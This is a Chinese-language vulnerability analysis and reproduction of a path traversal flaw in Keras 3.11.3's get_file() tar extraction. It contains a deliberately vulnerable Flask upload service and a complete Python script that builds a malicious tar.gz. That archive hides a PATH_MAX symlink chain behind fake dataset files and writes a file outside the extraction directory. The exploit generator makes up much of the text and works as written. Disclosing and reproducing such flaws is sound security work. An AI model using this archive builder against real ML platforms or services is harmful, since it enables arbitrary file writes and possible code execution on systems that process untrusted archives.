Keras 3 深度学习框架路径遍历漏洞分析
Keras 3.11.3 版本在提取 tar 归档文件时,其 `keras.utils.get_file()` 函数存在路径遍历漏洞
前言
Keras 3 是一个多后端深度学习框架,支持 JAX、TensorFlow、PyTorch 和 OpenVINO(仅用于推理)。它可以轻松构建和训练用于计算机视觉、自然语言处理、音频处理、时间序列预测、推荐系统等领域的模型。
漏洞概述
Keras 3.11.3 版本在提取 tar 归档文件时,其 `keras.utils.get_file()` 函数存在路径遍历漏洞。该漏洞的产生是由于该函数使用了 Python 的 `tarfile.extractall()` 方法,但缺少安全关键参数 `filter='data'`。尽管 Keras 尝试使用 `filter_safe_paths()` 过滤不安全路径,但此过滤操作发生在提取之前,而提取过程中会触发一个 PATH_MAX 符号链接解析漏洞。该漏洞会导致符号链接解析因路径长度限制而失败,从而绕过安全机制,允许将文件写入预期提取目录之外。这可能导致缓存目录之外的任意文件写入,进而造成系统安全漏洞或恶意代码执行。该漏洞会影响使用 `get_file()` 处理 tar 归档文件的 Keras 安装,但不会影响使用适当过滤器参数保护此提取方法的版本。
漏洞分析/复现
漏洞分析
keras.utils.getfile调用了extract_archive

使用python tarfile.extractall() 方法,但是没有配置filter="data" 参数

虽然使用了filter_safe_paths进行过滤

PATH_MAX 符号链接解析错误发生在路径过滤之前,于是可以绕过检查

漏洞复现
使用pip安装相关依赖
keras==3.11.3
tensorflow-cpu>=2.18.0
numpy
flask
requests搭建一个测试场景,平台允许用户上传测试数据集,处理数据集时会调用keras.utils.get_file()提取归档文件,从而触发漏洞

#!/usr/bin/env python3
import os
import sys
import time
import threading
import tempfile
from pathlib import Path
from flask import Flask, request, jsonify, render_template_string
from werkzeug.utils import secure_filename
from urllib.parse import urljoin
from urllib.request import pathname2url
try:
import keras
from keras.utils import get_file
print(f"[+] Keras已加载: {keras.__version__}")
except ImportError:
print("[!] 错误: Keras未安装!")
sys.exit(1)
app = Flask(__name__)
CONFIG = {
'user_datasets_dir': 'user_datasets',
'cache_dir': 'cache',
'upload_dir': 'uploads',
}
for dir_name in CONFIG.values():
os.makedirs(dir_name, exist_ok=True)
user_datasets = {}
dataset_downloads = {}
def scan_for_exploit_files():
"""扫描漏洞利用文件"""
exploit_files = []
check_dirs = ["/exploit", os.path.expanduser("~")]
for check_dir in check_dirs:
if not os.path.exists(check_dir):
continue
try:
for root, dirs, files in os.walk(check_dir):
depth = root[len(check_dir):].count(os.sep) if check_dir else 0
if depth > 2:
continue
for file in files:
if any(kw in file.lower() for kw in ['pwned', 'exploit', 'keras_production']):
file_path = os.path.join(root, file)
try:
if time.time() - os.path.getmtime(file_path) < 600:
exploit_files.append(file_path)
except:
exploit_files.append(file_path)
except (PermissionError, OSError):
pass
return exploit_files
HTML_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>多租户ML平台 - CVE-2025-12638测试(高风险)</title>
<style>
body { font-family: Arial, sans-serif; max-width: 1200px; margin: 20px auto; padding: 20px; }
.header { background: #f44336; color: white; padding: 20px; border-radius: 8px; margin-bottom: 20px; }
.warning { background: #ffebee; padding: 15px; border-left: 4px solid #f44336; margin: 20px 0; }
.container { background: #f5f5f5; padding: 20px; border-radius: 8px; margin-bottom: 20px; }
input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; box-sizing: border-box; }
button { background: #4CAF50; color: white; padding: 12px 24px; border: none; border-radius: 4px; cursor: pointer; }
.dataset-card { background: white; padding: 15px; border-radius: 8px; border: 1px solid #ddd; margin: 10px 0; }
.exploit-detected { background: #f44336; color: white; padding: 10px; border-radius: 4px; margin: 10px 0; }
</style>
</head>
<body>
<div class="header">
<h1>👥 多租户机器学习平台</h1>
</div>
<div class="container">
<h2>上传数据集</h2>
<form method="POST" action="/api/upload_dataset" enctype="multipart/form-data">
<label>用户ID:</label>
<input type="text" name="user_id" placeholder="user123" required>
<label>数据集文件(用户上传):</label>
<input type="file" name="dataset_file" accept=".tgz,.tar.gz,.tar,.zip" required>
<label>数据集名称:</label>
<input type="text" name="dataset_name" placeholder="My Dataset" required>
<button type="submit">上传数据集</button>
</form>
</div>
<div class="container">
<h2>处理数据集</h2>
<p style="color: #666; margin-bottom: 15px;">
<strong>说明:</strong> 上传的数据集需要经过处理才能使用。处理过程会使用Keras get_file()提取文件,
如果数据集包含恶意内容(如PATH_MAX符号链接),可能会触发CVE-2025-12638漏洞。
</p>
<form method="POST" action="/api/process_dataset">
<label>数据集ID:</label>
<input type="text" name="dataset_id" placeholder="dataset_xxx" required>
<button type="submit">处理数据集</button>
</form>
</div>
<div class="container">
<h2>数据集列表</h2>
<div id="datasets"></div>
</div>
<div class="container">
<h2>处理记录</h2>
<div id="downloads"></div>
</div>
<script>
function loadDatasets() {
fetch('/api/datasets')
.then(r => r.json())
.then(data => {
const div = document.getElementById('datasets');
if (data.datasets && data.datasets.length > 0) {
div.innerHTML = data.datasets.map(ds => `
<div class="dataset-card">
<h3>${ds.name} (ID: ${ds.id})</h3>
<p><strong>上传者:</strong> ${ds.user_id}</p>
<p><strong>文件:</strong> ${ds.filename || 'N/A'}</p>
<p><strong>上传时间:</strong> ${new Date(ds.uploaded_at * 1000).toLocaleString()}</p>
</div>
`).join('');
} else {
div.innerHTML = '<p>暂无数据集</p>';
}
});
}
function loadDownloads() {
fetch('/api/downloads')
.then(r => r.json())
.then(data => {
const div = document.getElementById('downloads');
if (data.downloads && data.downloads.length > 0) {
div.innerHTML = data.downloads.map(dl => `
<div class="dataset-card">
<h3>处理任务 ${dl.id}</h3>
<p><strong>数据集ID:</strong> ${dl.dataset_id}</p>
<p><strong>状态:</strong> ${dl.status}</p>
${dl.dataset_path ? `<p><strong>提取路径:</strong> ${dl.dataset_path}</p>` : ''}
${dl.exploit_detected ? '<div class="exploit-detected">🚨 漏洞检测: 发现可疑文件</div>' : ''}
${dl.exploit_files && dl.exploit_files.length > 0 ? `
<div class="exploit-detected" style="margin-top: 10px;">
<strong>漏洞利用文件:</strong>
<ul style="margin: 10px 0; padding-left: 20px;">
${dl.exploit_files.map(f => '<li>' + f + '</li>').join('')}
</ul>
</div>
` : ''}
</div>
`).join('');
} else {
div.innerHTML = '<p>暂无处理记录</p>';
}
});
}
loadDatasets();
loadDownloads();
setInterval(() => { loadDatasets(); loadDownloads(); }, 3000);
</script>
</body>
</html>
"""
@app.route('/')
def index():
return render_template_string(HTML_TEMPLATE)
@app.route('/api/upload_dataset', methods=['POST'])
def upload_dataset():
"""用户上传数据集(高风险:用户直接上传文件)"""
if 'dataset_file' not in request.files:
return jsonify({'error': '未选择文件'}), 400
user_id = request.form.get('user_id', '').strip()
dataset_name = request.form.get('dataset_name', '').strip()
file = request.files['dataset_file']
if not all([user_id, dataset_name]):
return jsonify({'error': '用户ID和数据集名称是必需的'}), 400
if file.filename == '':
return jsonify({'error': '未选择文件'}), 400
# 保存上传的文件
filename = secure_filename(file.filename)
dataset_id = f"dataset_{int(time.time())}"
file_extension = os.path.splitext(filename)[1]
saved_filename = f"{dataset_id}{file_extension}"
upload_path = os.path.join(CONFIG['upload_dir'], saved_filename)
file.save(upload_path)
# 转换为file:// URL供Keras使用
abs_path = os.path.abspath(upload_path)
file_url = urljoin('file:', pathname2url(abs_path))
dataset_info = {
'id': dataset_id,
'user_id': user_id,
'name': dataset_name,
'filename': filename,
'file_path': upload_path,
'file_url': file_url,
'uploaded_at': time.time(),
}
user_datasets[dataset_id] = dataset_info
print(f"[!] 用户 {user_id} 上传了数据集: {dataset_name} (文件: {filename})")
print(f" 保存路径: {upload_path}")
return jsonify({'success': True, 'dataset_id': dataset_id})
@app.route('/api/process_dataset', methods=['POST'])
def process_dataset():
"""处理用户上传的数据集(使用Keras get_file提取,这是漏洞触发点)"""
dataset_id = request.form.get('dataset_id', '').strip()
if dataset_id not in user_datasets:
return jsonify({'error': '数据集不存在'}), 404
dataset = user_datasets[dataset_id]
download_id = f"download_{int(time.time())}"
download_info = {
'id': download_id,
'dataset_id': dataset_id,
'dataset_file': dataset.get('filename', 'N/A'),
'status': 'processing',
'exploit_detected': False,
}
dataset_downloads[download_id] = download_info
def process_task():
try:
print(f"[!] 开始处理用户上传的数据集: {dataset['name']} (文件: {dataset.get('filename', 'N/A')})")
print(f" 这是漏洞触发点:使用Keras get_file()提取用户上传的文件")
exploit_files_before = scan_for_exploit_files()
dataset_path = get_file(
fname=f"{dataset_id}{os.path.splitext(dataset.get('filename', '.tgz'))[1]}",
origin=dataset['file_url'],
cache_dir=CONFIG['cache_dir'],
cache_subdir=CONFIG['user_datasets_dir'],
extract=True,
force_download=True
)
exploit_files_after = scan_for_exploit_files()
new_exploit_files = [f for f in exploit_files_after if f not in exploit_files_before]
download_info['status'] = 'completed'
download_info['dataset_path'] = dataset_path
if new_exploit_files:
download_info['exploit_detected'] = True
download_info['exploit_files'] = new_exploit_files
print(f"[!] 🚨 漏洞检测: 发现 {len(new_exploit_files)} 个可疑文件")
print(f" 恶意用户 {dataset['user_id']} 直接上传的数据集成功利用了漏洞!")
for f in new_exploit_files:
print(f" - {f}")
print(f"[+] 数据集处理完成: {dataset_path}")
except Exception as e:
download_info['status'] = 'error'
download_info['error'] = str(e)
print(f"[!] 处理失败: {e}")
import traceback
traceback.print_exc()
thread = threading.Thread(target=process_task)
thread.daemon = True
thread.start()
return jsonify({'success': True, 'process_id': download_id, 'message': '数据集处理已开始,请稍后查看结果'})
@app.route('/api/datasets', methods=['GET'])
def list_datasets():
return jsonify({'datasets': list(user_datasets.values())})
@app.route('/api/downloads', methods=['GET'])
@app.route('/api/processes', methods=['GET'])
def list_processes():
"""列出所有处理记录"""
return jsonify({'downloads': list(dataset_downloads.values())})
if __name__ == '__main__':
print("=" * 70)
print("场景5: 多租户机器学习平台(高风险场景)")
print("=" * 70)
print(f"[*] Keras版本: {keras.__version__}")
print(f"[*] 服务运行在: http://localhost:5005")
print("[!] 警告: 此场景允许用户上传数据集,恶意用户可以上传恶意文件!")
print("=" * 70)
app.run(host='0.0.0.0', port=5005, debug=True)
#!/usr/bin/env python3
import os
import sys
import tarfile
import io
import time
import argparse
from urllib.parse import urljoin
from urllib.request import pathname2url
try:
import keras
except ImportError:
keras = None
def create_malicious_tgz(output_path, target_dir="/exploit"):
"""创建恶意tar.gz文件"""
comp_length = 247 # Linux
comp = 'd' * comp_length
steps = "abcdefghijklmnop" # 16步符号链接链
path = ""
with tarfile.open(output_path, mode="w:gz") as tar:
# 合法数据集内容(伪装)
dataset_content = (
b"# Machine Learning Dataset\n"
b"This appears to be a legitimate ML dataset\n\n"
b"## Dataset Information\n"
b"- Name: Test Dataset\n"
b"- Version: 1.0\n"
b"- Format: CSV\n\n"
b"## Data\n"
b"image1.jpg,cat\n"
b"image2.jpg,dog\n"
b"image3.jpg,bird\n"
)
dataset_file = tarfile.TarInfo("dataset/labels.csv")
dataset_file.type = tarfile.REGTYPE
dataset_file.size = len(dataset_content)
tar.addfile(dataset_file, fileobj=io.BytesIO(dataset_content))
dataset_dir = tarfile.TarInfo("dataset/")
dataset_dir.type = tarfile.DIRTYPE
tar.addfile(dataset_dir)
readme_content = (
b"# Dataset README\n\n"
b"This dataset contains labeled images for training.\n\n"
b"## Usage\n\n"
b"```python\n"
b"from keras.utils import get_file\n"
b"dataset_path = get_file('dataset.tgz', origin='...', extract=True)\n"
b"```\n"
)
readme_file = tarfile.TarInfo("dataset/README.md")
readme_file.type = tarfile.REGTYPE
readme_file.size = len(readme_content)
tar.addfile(readme_file, fileobj=io.BytesIO(readme_content))
# 构建PATH_MAX符号链接链
for i, step in enumerate(steps):
dir_info = tarfile.TarInfo(os.path.join(path, comp))
dir_info.type = tarfile.DIRTYPE
tar.addfile(dir_info)
link_info = tarfile.TarInfo(os.path.join(path, step))
link_info.type = tarfile.SYMTYPE
link_info.linkname = comp
tar.addfile(link_info)
path = os.path.join(path, comp)
# 创建最终的超长符号链接
long_name = "x" * 254
linkpath = os.path.join("/".join(steps), long_name)
root_link = tarfile.TarInfo(linkpath)
root_link.type = tarfile.SYMTYPE
root_link.linkname = ("../" * (len(steps) + 15))
tar.addfile(root_link)
# 漏洞利用文件
exploit_filename = "keras_production_pwned.txt"
exploit_path = linkpath + target_dir + "/" + exploit_filename
keras_version = keras.__version__.encode() if keras else b"Unknown"
exploit_content = (
b"PRODUCTION ENVIRONMENT COMPROMISED!\n"
b"=====================================\n\n"
b"This file was created outside the intended cache directory\n"
b"through CVE-2025-12638 PATH_MAX symlink vulnerability.\n\n"
b"Vulnerability Details:\n"
b"- Keras version: " + keras_version + b"\n"
b"- Attack vector: PATH_MAX symlink chain\n"
b"- Bypassed: filter_safe_paths() check\n"
b"- Impact: Arbitrary file write outside cache directory\n\n"
b"Timestamp: " + str(int(time.time())).encode() + b"\n"
b"File created at: " + target_dir.encode() + b"/" + exploit_filename.encode() + b"\n"
)
exploit_file = tarfile.TarInfo(exploit_path)
exploit_file.type = tarfile.REGTYPE
exploit_file.size = len(exploit_content)
tar.addfile(exploit_file, fileobj=io.BytesIO(exploit_content))
print(f"[+] 恶意文件已创建: {output_path}")
print(f" 目标目录: {target_dir}/{exploit_filename}")
def main():
parser = argparse.ArgumentParser(
description="创建恶意tar.gz文件用于测试CVE-2025-12638"
)
parser.add_argument(
'-o', '--output',
default='malicious_dataset.tgz',
help='输出文件路径 (默认: malicious_dataset.tgz)'
)
parser.add_argument(
'-t', '--target',
default='/exploit',
help='目标目录 (默认: /exploit)'
)
args = parser.parse_args()
try:
create_malicious_tgz(args.output, args.target)
except KeyboardInterrupt:
print("\n[*] 操作中断")
sys.exit(1)
except Exception as e:
print(f"\n[!] 错误: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
if __name__ == '__main__':
main()
创建恶意文件

上传恶意文件

当点击处理数据集时会调用getfile来处理,从而触发漏洞,成功写入文件

Keras 3.11.3中get_file()因tar解压缺乏安全过滤,致路径遍历可写任意文件。
由 AI 根据全文自动生成,仅供参考,以原文为准